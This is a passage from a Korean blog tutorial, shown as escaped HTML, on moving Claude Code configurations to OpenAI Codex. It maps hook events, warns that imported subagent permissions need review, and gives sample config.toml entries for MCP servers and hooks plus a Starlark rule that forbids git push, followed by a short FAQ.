&lt;td style=&quot;padding: 10px 14px; border: 1px solid #a3d9c8;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 1px 5px; border-radius: 3px; font-size: 0.85em;&quot;&gt;PreToolUse&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 14px; border: 1px solid #a3d9c8;&quot;&gt;이름 같음, 설정 위치 다름&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f4fbf8;&quot;&gt;
&lt;td style=&quot;padding: 10px 14px; border: 1px solid #a3d9c8;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 1px 5px; border-radius: 3px; font-size: 0.85em;&quot;&gt;PostToolUse&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 14px; border: 1px solid #a3d9c8;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 1px 5px; border-radius: 3px; font-size: 0.85em;&quot;&gt;PostToolUse&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 14px; border: 1px solid #a3d9c8;&quot;&gt;이름 같음, 설정 위치 다름&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 14px; border: 1px solid #a3d9c8;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 1px 5px; border-radius: 3px; font-size: 0.85em;&quot;&gt;PreToolUse&lt;/code&gt;로 도구 실행 &lt;b&gt;차단&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 14px; border: 1px solid #a3d9c8;&quot;&gt;Codex도 가능 &amp;mdash; PreToolUse hook이 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 1px 5px; border-radius: 3px; font-size: 0.85em;&quot;&gt;permissionDecision: &quot;deny&quot;&lt;/code&gt; 반환 시 차단됨. 단, &lt;b&gt;Rules가 정책 우선순위&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 14px; border: 1px solid #a3d9c8;&quot;&gt;⚠ hooks는 enforcement 경계가 아니라 보조 &amp;mdash; 정책성 차단은 Rules에 두는 것이 안전&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;왜?&lt;/b&gt; Codex에서도 PreToolUse hook이 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;permissionDecision: &quot;deny&quot;&lt;/code&gt; 또는 exit code 2를 반환해 차단할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러나 공식 문서는 hooks를 &quot;단일 enforcement 경계로 의존하지 말 것&quot;이라고 명시한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://developers.openai.com/codex/hooks&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;OpenAI Codex &amp;mdash; Hooks&lt;/a&gt;)&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 14px 18px; margin: 16px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;역할 분리 &amp;mdash; 이 두 줄만 기억하면 된다&lt;/b&gt;
&lt;ul style=&quot;margin: 8px 0 0 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Hook&lt;/b&gt;: 알림&amp;middot;로그&amp;middot;임시 검사 (예: PostToolUse에서 &quot;테스트 자동 실행&quot;)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Rules&lt;/b&gt;: 영구&amp;middot;정책성 차단 (예: &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 1px 5px; border-radius: 3px; font-size: 0.85em;&quot;&gt;git push&lt;/code&gt; forbidden, 외부 도메인 접근 prompt)&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;hooks 상세는 &amp;sect;5 접힘 박스 참고.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a2a; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;함정 ③ &amp;mdash; subagent의 tool 권한을 그대로 옮기지 말 것&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;먼저: Codex에도 Subagents가 있다.&lt;/b&gt; Mac 앱 import는 Claude의 subagent를 Codex의 subagent로 자동 가져온다. 다만 &lt;b&gt;가져온 subagent의 tool restrictions&amp;middot;permissions는 import 후 반드시 검토&lt;/b&gt;해야 한다. (출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://developers.openai.com/codex/migrate&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;OpenAI Codex &amp;mdash; Migrate&lt;/a&gt;)&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 16px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #ffebee;&quot;&gt;
&lt;th style=&quot;padding: 10px 14px; text-align: left; border: 1px solid #ef9a9a; font-weight: 600;&quot;&gt;그대로 신뢰&lt;/th&gt;
&lt;th style=&quot;padding: 10px 14px; text-align: left; border: 1px solid #ef9a9a; font-weight: 600;&quot;&gt;검토 후 적용&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 14px; border: 1px solid #ef9a9a; vertical-align: top;&quot;&gt;import된 subagent의 allowedTools 목록을 그대로 신뢰하기&lt;/td&gt;
&lt;td style=&quot;padding: 10px 14px; border: 1px solid #e8f5f0; vertical-align: top;&quot;&gt;Codex Mac 앱: 설정 &amp;rarr; Subagents 화면에서 열기. CLI: &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 1px 5px; border-radius: 3px; font-size: 0.85em;&quot;&gt;~/.codex/agents/*.toml&lt;/code&gt; 또는 프로젝트 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 1px 5px; border-radius: 3px; font-size: 0.85em;&quot;&gt;.codex/agents/*.toml&lt;/code&gt; 파일을 열어 tool 권한과 sandbox 범위가 의도와 맞는지 확인&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #fafafa;&quot;&gt;
&lt;td style=&quot;padding: 10px 14px; border: 1px solid #ef9a9a; vertical-align: top;&quot;&gt;subagent가 임의로 외부 서비스를 호출하도록 두기&lt;/td&gt;
&lt;td style=&quot;padding: 10px 14px; border: 1px solid #e8f5f0; vertical-align: top;&quot;&gt;외부 서비스 호출은 MCP 서버로 옮기고 (&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://goddaehee.tistory.com/600&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 5&lt;/a&gt;), subagent는 작업 분담에만 사용&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;왜?&lt;/b&gt; Mac 앱 import는 subagent를 옮기지만, Claude Code와 Codex의 권한 모델이 다르기 때문에 import된 subagent가 의도보다 넓은 권한을 가질 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;import 후 Codex Subagents 설정을 열어 tool 권한&amp;middot;sandbox 범위를 직접 확인하는 절차가 필수다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ===== §5. MCP / hooks / Rules 접힘 ===== --&gt;
&lt;h2 id=&quot;section-5&quot; style=&quot;font-size: 24px; color: #1a3a2a; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #a3d9c8; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. MCP &amp;middot; hooks &amp;middot; Rules &amp;mdash; 이미 쓰는 팀만 열어보기&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 세 섹션은 이미 Claude Code에서 MCP&amp;middot;hooks&amp;middot;규칙을 쓰고 있는 팀만 참고한다. 처음 마이그레이션하는 분은 &amp;sect;1~&amp;sect;4만으로 충분하다.&lt;/p&gt;
&lt;details style=&quot;margin: 16px 0; border: 1px solid #a3d9c8; border-radius: 8px; overflow: hidden;&quot;&gt;
&lt;summary style=&quot;background-color: #e8f5f0; padding: 14px 18px; cursor: pointer; font-weight: bold; font-size: 16px; color: #1a3a2a; list-style: none; display: flex; align-items: center; gap: 8px;&quot;&gt;▶ MCP 서버 옮기기 (config.toml 형식)&lt;/summary&gt;
&lt;div style=&quot;padding: 18px 20px;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;.mcp.json (Claude Code)&lt;/b&gt; &amp;rarr; &lt;b&gt;config.toml [mcp_servers.*] (Codex)&lt;/b&gt;&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e2e; color: #cdd6f4; padding: 16px 20px; border-radius: 8px; margin: 12px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; line-height: 1.8; overflow-x: auto;&quot;&gt;&lt;span style=&quot;color: #6c7086;&quot;&gt;# ~/.codex/config.toml 예시&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;[mcp_servers.filesystem]&lt;br /&gt;&amp;nbsp;&amp;nbsp;command = &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&quot;npx&quot;&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;args = [&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&quot;-y&quot;&lt;/span&gt;, &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&quot;@modelcontextprotocol/server-filesystem&quot;&lt;/span&gt;, &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&quot;/home/user/projects&quot;&lt;/span&gt;]&lt;br /&gt;&lt;br /&gt;[mcp_servers.github]&lt;br /&gt;&amp;nbsp;&amp;nbsp;command = &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&quot;npx&quot;&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;args = [&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&quot;-y&quot;&lt;/span&gt;, &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&quot;@modelcontextprotocol/server-github&quot;&lt;/span&gt;]&lt;br /&gt;&amp;nbsp;&amp;nbsp;env_vars = [&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&quot;GITHUB_TOKEN&quot;&lt;/span&gt;]&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;대안:&lt;/b&gt; config.toml을 직접 편집하지 않고 CLI로 추가할 수도 있다 &amp;mdash; &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;codex mcp add&lt;/code&gt;, &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;codex mcp login&lt;/code&gt;, TUI에서는 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;/mcp&lt;/code&gt;.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;MCP 스코프(읽기 전용&amp;middot;읽기쓰기), HTTP 서버 연결, 헤더 설정 등 상세 옵션은 &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://goddaehee.tistory.com/600&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;&lt;b&gt;Part 5: MCP &amp;middot; Plugins &amp;middot; Skills&lt;/b&gt;&lt;/a&gt;를 참고한다.&lt;/p&gt;
&lt;/div&gt;
&lt;/details&gt;&lt;details style=&quot;margin: 16px 0; border: 1px solid #a3d9c8; border-radius: 8px; overflow: hidden;&quot;&gt;
&lt;summary style=&quot;background-color: #e8f5f0; padding: 14px 18px; cursor: pointer; font-weight: bold; font-size: 16px; color: #1a3a2a; list-style: none; display: flex; align-items: center; gap: 8px;&quot;&gt;▶ hooks 이벤트 매핑 (이름과 위치 변경)&lt;/summary&gt;
&lt;div style=&quot;padding: 18px 20px;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 12px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f5f0;&quot;&gt;
&lt;th style=&quot;padding: 10px 14px; text-align: left; border: 1px solid #a3d9c8; font-weight: 600;&quot;&gt;이벤트&lt;/th&gt;
&lt;th style=&quot;padding: 10px 14px; text-align: left; border: 1px solid #a3d9c8; font-weight: 600;&quot;&gt;Claude Code&lt;/th&gt;
&lt;th style=&quot;padding: 10px 14px; text-align: left; border: 1px solid #a3d9c8; font-weight: 600;&quot;&gt;Codex&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 14px; border: 1px solid #a3d9c8;&quot;&gt;도구 실행 전&lt;/td&gt;
&lt;td style=&quot;padding: 8px 14px; border: 1px solid #a3d9c8;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 1px 5px; border-radius: 3px; font-size: 0.85em;&quot;&gt;PreToolUse&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 14px; border: 1px solid #a3d9c8;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 1px 5px; border-radius: 3px; font-size: 0.85em;&quot;&gt;PreToolUse&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f4fbf8;&quot;&gt;
&lt;td style=&quot;padding: 8px 14px; border: 1px solid #a3d9c8;&quot;&gt;도구 실행 후&lt;/td&gt;
&lt;td style=&quot;padding: 8px 14px; border: 1px solid #a3d9c8;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 1px 5px; border-radius: 3px; font-size: 0.85em;&quot;&gt;PostToolUse&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 14px; border: 1px solid #a3d9c8;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 1px 5px; border-radius: 3px; font-size: 0.85em;&quot;&gt;PostToolUse&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 14px; border: 1px solid #a3d9c8;&quot;&gt;승인 요청 시&lt;/td&gt;
&lt;td style=&quot;padding: 8px 14px; border: 1px solid #a3d9c8;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 1px 5px; border-radius: 3px; font-size: 0.85em;&quot;&gt;PermissionRequest&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 14px; border: 1px solid #a3d9c8;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 1px 5px; border-radius: 3px; font-size: 0.85em;&quot;&gt;PermissionRequest&lt;/code&gt; &amp;mdash; 양쪽 공통&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f4fbf8;&quot;&gt;
&lt;td style=&quot;padding: 8px 14px; border: 1px solid #a3d9c8;&quot;&gt;프롬프트 제출 시&lt;/td&gt;
&lt;td style=&quot;padding: 8px 14px; border: 1px solid #a3d9c8;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 1px 5px; border-radius: 3px; font-size: 0.85em;&quot;&gt;UserPromptSubmit&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 14px; border: 1px solid #a3d9c8;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 1px 5px; border-radius: 3px; font-size: 0.85em;&quot;&gt;UserPromptSubmit&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 14px; border: 1px solid #a3d9c8;&quot;&gt;세션 시작&lt;/td&gt;
&lt;td style=&quot;padding: 8px 14px; border: 1px solid #a3d9c8;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 1px 5px; border-radius: 3px; font-size: 0.85em;&quot;&gt;SessionStart&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 14px; border: 1px solid #a3d9c8;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 1px 5px; border-radius: 3px; font-size: 0.85em;&quot;&gt;SessionStart&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f4fbf8;&quot;&gt;
&lt;td style=&quot;padding: 8px 14px; border: 1px solid #a3d9c8;&quot;&gt;세션 종료&lt;/td&gt;
&lt;td style=&quot;padding: 8px 14px; border: 1px solid #a3d9c8;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 1px 5px; border-radius: 3px; font-size: 0.85em;&quot;&gt;Stop&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 14px; border: 1px solid #a3d9c8;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 1px 5px; border-radius: 3px; font-size: 0.85em;&quot;&gt;Stop&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #1e1e2e; color: #cdd6f4; padding: 14px 18px; border-radius: 8px; margin: 12px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; line-height: 1.8; overflow-x: auto;&quot;&gt;&lt;span style=&quot;color: #6c7086;&quot;&gt;# ~/.codex/config.toml &amp;mdash; array of tables 구조&lt;/span&gt;&lt;br /&gt;[[hooks.PreToolUse]]&lt;br /&gt;&amp;nbsp;&amp;nbsp;matcher = &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&quot;^Bash$&quot;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;[[hooks.PreToolUse.hooks]]&lt;br /&gt;&amp;nbsp;&amp;nbsp;type = &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&quot;command&quot;&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;command = &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&quot;/usr/bin/python3 .codex/hooks/check.py&quot;&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;timeout = 30&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;주의:&lt;/b&gt; 단일 테이블(&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;[hooks.PreToolUse]&lt;/code&gt;)이 아니라 &lt;b&gt;array of tables&lt;/b&gt;(&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;[[hooks.PreToolUse]]&lt;/code&gt;) 구조다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하나의 이벤트에 여러 hook을 등록할 수 있도록 설계됐다. (출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://developers.openai.com/codex/hooks&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;OpenAI Codex &amp;mdash; Hooks&lt;/a&gt;) hooks 상세 설정과 이벤트 페이로드는 &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://goddaehee.tistory.com/599&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;&lt;b&gt;Part 4: AGENTS.md &amp;middot; Rules&lt;/b&gt;&lt;/a&gt;를 참고한다.&lt;/p&gt;
&lt;/div&gt;
&lt;/details&gt;&lt;details style=&quot;margin: 16px 0; border: 1px solid #a3d9c8; border-radius: 8px; overflow: hidden;&quot;&gt;
&lt;summary style=&quot;background-color: #e8f5f0; padding: 14px 18px; cursor: pointer; font-weight: bold; font-size: 16px; color: #1a3a2a; list-style: none; display: flex; align-items: center; gap: 8px;&quot;&gt;▶ Rules prefix_rule &amp;mdash; allow / prompt / forbidden&lt;/summary&gt;
&lt;div style=&quot;padding: 18px 20px;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Codex Rules는 &lt;b&gt;Starlark&lt;/b&gt;(Python 유사 안전 실행 언어)로 작성하며 파일은 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;~/.codex/rules/*.rules&lt;/code&gt;에 둔다. Claude Code의 allowedTools(허용&amp;middot;거부 두 단계) 대신 Codex는 세 단계 결정을 쓴다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 12px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f5f0;&quot;&gt;
&lt;th style=&quot;padding: 10px 14px; text-align: left; border: 1px solid #a3d9c8; font-weight: 600;&quot;&gt;결정값&lt;/th&gt;
&lt;th style=&quot;padding: 10px 14px; text-align: left; border: 1px solid #a3d9c8; font-weight: 600;&quot;&gt;의미&lt;/th&gt;
&lt;th style=&quot;padding: 10px 14px; text-align: left; border: 1px solid #a3d9c8; font-weight: 600;&quot;&gt;Claude Code 대응&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 14px; border: 1px solid #a3d9c8;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 1px 5px; border-radius: 3px; font-size: 0.85em;&quot;&gt;allow&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 14px; border: 1px solid #a3d9c8;&quot;&gt;승인 없이 바로 실행&lt;/td&gt;
&lt;td style=&quot;padding: 8px 14px; border: 1px solid #a3d9c8;&quot;&gt;allowedTools 허용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f4fbf8;&quot;&gt;
&lt;td style=&quot;padding: 8px 14px; border: 1px solid #a3d9c8;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 1px 5px; border-radius: 3px; font-size: 0.85em;&quot;&gt;prompt&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 14px; border: 1px solid #a3d9c8;&quot;&gt;매번 승인 요청&lt;/td&gt;
&lt;td style=&quot;padding: 8px 14px; border: 1px solid #a3d9c8;&quot;&gt;&amp;mdash; (없음, Codex 추가 단계)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 14px; border: 1px solid #a3d9c8;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 1px 5px; border-radius: 3px; font-size: 0.85em;&quot;&gt;forbidden&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 14px; border: 1px solid #a3d9c8;&quot;&gt;완전 차단&lt;/td&gt;
&lt;td style=&quot;padding: 8px 14px; border: 1px solid #a3d9c8;&quot;&gt;allowedTools deny&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #1e1e2e; color: #cdd6f4; padding: 14px 18px; border-radius: 8px; margin: 12px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; line-height: 1.8; overflow-x: auto;&quot;&gt;&lt;span style=&quot;color: #6c7086;&quot;&gt;# ~/.codex/rules/default.rules &amp;mdash; Starlark 함수 호출&lt;/span&gt;&lt;br /&gt;prefix_rule(&lt;br /&gt;&amp;nbsp;&amp;nbsp;pattern = [&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&quot;git&quot;&lt;/span&gt;, &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&quot;push&quot;&lt;/span&gt;],&lt;br /&gt;&amp;nbsp;&amp;nbsp;decision = &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&quot;forbidden&quot;&lt;/span&gt;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;justification = &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&quot;main 푸시는 차단&quot;&lt;/span&gt;,&lt;br /&gt;)&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;주의:&lt;/b&gt; &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;prefix_rule = &quot;forbidden&quot;&lt;/code&gt;처럼 TOML 키값 대입이 아니라 &lt;b&gt;함수 호출&lt;/b&gt; 형태로 작성한다. pattern은 문자열 리스트, decision은 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;&quot;allow&quot; / &quot;prompt&quot; / &quot;forbidden&quot;&lt;/code&gt; 중 하나. (출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://developers.openai.com/codex/rules&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;OpenAI Codex &amp;mdash; Rules&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;작성 방법과 패턴 예시는 &lt;a href=&quot;https://goddaehee.tistory.com/599&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;&lt;b&gt;Part 4: AGENTS.md &amp;middot; Rules&lt;/b&gt;&lt;/a&gt;를 참고한다.&lt;/p&gt;
&lt;/div&gt;
&lt;/details&gt;&lt;!-- FAQ --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;자주 묻는 질문&lt;/b&gt;&lt;/h2&gt;
&lt;div style=&quot;background-color: #f8fbff; border: 1px solid #cce5ff; border-radius: 8px; padding: 18px 20px; margin: 20px 0;&quot;&gt;
&lt;h3 style=&quot;font-size: 18px; color: #1a3a52; margin: 0 0 8px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;&quot;Import other agent setup&quot;은 CLI에서도 쓸 수 있나?&lt;/h3&gt;
&lt;p style=&quot;margin: 0 0 18px 0;&quot; data-ke-size=&quot;size16&quot;&gt;아니다. 이 기능은 &lt;b&gt;Codex Mac 데스크톱 앱 전용&lt;/b&gt; UI 버튼이다. CLI(&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;codex&lt;/code&gt; 명령어)에는 동일한 import 명령이 없다. CLI 사용자는 &amp;sect;2의 3분류 단계에 따라 CLAUDE.md를 직접 분류해서 옮겨야 한다.&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 18px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 18px; color: #1a3a52; margin: 0 0 8px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;CLAUDE.md를 통째로 복사해도 되나?&lt;/h3&gt;
&lt;p style=&quot;margin: 0 0 18px 0;&quot; data-ke-size=&quot;size16&quot;&gt;권장하지 않는다. 권한 지시&amp;middot;hooks&amp;middot;subagent 설정은 Codex의 sandbox&amp;middot;approval&amp;middot;Rules 체계와 1:1로 맞지 않아서, 그대로 복사하면 무시되거나 의도치 않게 작동한다. &amp;sect;4 함정 ①②③을 먼저 확인하고 설계한 뒤 옮긴다.&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 18px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 18px; color: #1a3a52; margin: 0 0 8px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;마이그레이션 후 설정이 제대로 적용됐는지 어떻게 확인하나?&lt;/h3&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;sect;3 Smoke Test 체크리스트를 순서대로 따라한다. AGENTS.md 위치 확인 &amp;rarr; 간단한 설명 요청으로 지침 적용 여부 확인 &amp;rarr; 파일 쓰기 요청으로 approval 정책 확인 순서다. 설정을 바꿔도 현재 세션에 바로 반영되지 않으므로, Rules&amp;middot;hooks 변경 후에는 새 세션을 열어 재확인해야 한다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- 참고자료 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;참고 자료&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;font-weight: bold; margin: 16px 0 8px;&quot; data-ke-size=&quot;size16&quot;&gt;OpenAI Codex 공식 문서&lt;/p&gt;
